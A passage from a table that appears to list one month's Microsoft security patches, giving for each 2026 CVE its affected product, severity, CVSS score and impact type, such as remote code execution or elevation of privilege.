9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  